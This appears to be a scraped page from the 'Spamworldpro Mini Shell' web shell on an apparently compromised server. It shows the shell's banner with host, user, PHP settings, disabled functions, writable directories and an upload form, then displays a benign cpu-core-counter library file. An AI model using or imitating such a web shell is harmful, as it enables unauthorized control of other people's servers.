Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/fidry/cpu-core-counter/src/Finder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/vendor/fidry/cpu-core-counter/src/Finder/ProcOpenBasedFinder.php
<?php

/*
 * This file is part of the Fidry CPUCounter Config package.
 *
 * (c) Théo FIDRY <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace Fidry\CpuCoreCounter\Finder;

use Fidry\CpuCoreCounter\Executor\ProcessExecutor;
use Fidry\CpuCoreCounter\Executor\ProcOpenExecutor;
use function filter_var;
use function function_exists;
use function is_int;
use function sprintf;
use function trim;
use const FILTER_VALIDATE_INT;
use const PHP_EOL;

abstract class ProcOpenBasedFinder implements CpuCoreFinder
{
    /**
     * @var ProcessExecutor
     */
    private $executor;

    public function __construct(?ProcessExecutor $executor = null)
    {
        $this->executor = $executor ?? new ProcOpenExecutor();
    }

    public function diagnose(): string
    {
        if (!function_exists('proc_open')) {
            return 'The function "proc_open" is not available.';
        }

        $command = $this->getCommand();
        $output = $this->executor->execute($command);

        if (null === $output) {
            return sprintf(
                'Failed to execute the command "%s".',
                $command
            );
        }

        [$stdout, $stderr] = $output;
        $failed = '' !== trim($stderr);

        return $failed
            ? sprintf(
                'Executed the command "%s" which wrote the following output to the STDERR:%s%s%sWill return "null".',
                $command,
                PHP_EOL,
                $stderr,
                PHP_EOL
            )
            : sprintf(
                'Executed the command "%s" and got the following (STDOUT) output:%s%s%sWill return "%s".',
                $command,
                PHP_EOL,
                $stdout,
                PHP_EOL,
                $this->countCpuCores($stdout) ?? 'null'
            );
    }

    /**
     * @return positive-int|null
     */
    public function find(): ?int
    {
        $output = $this->executor->execute($this->getCommand());

        if (null === $output) {
            return null;
        }

        [$stdout, $stderr] = $output;
        $failed = '' !== trim($stderr);

        return $failed
            ? null
            : $this->countCpuCores($stdout);
    }

    /**
     * @internal
     *
     * @return positive-int|null
     */
    protected function countCpuCores(string $process): ?int
    {
        $cpuCount = filter_var($process, FILTER_VALIDATE_INT);

        return is_int($cpuCount) && $cpuCount > 0 ? $cpuCount : null;
    }

    abstract protected function getCommand(): string;
}

Spamworldpro Mini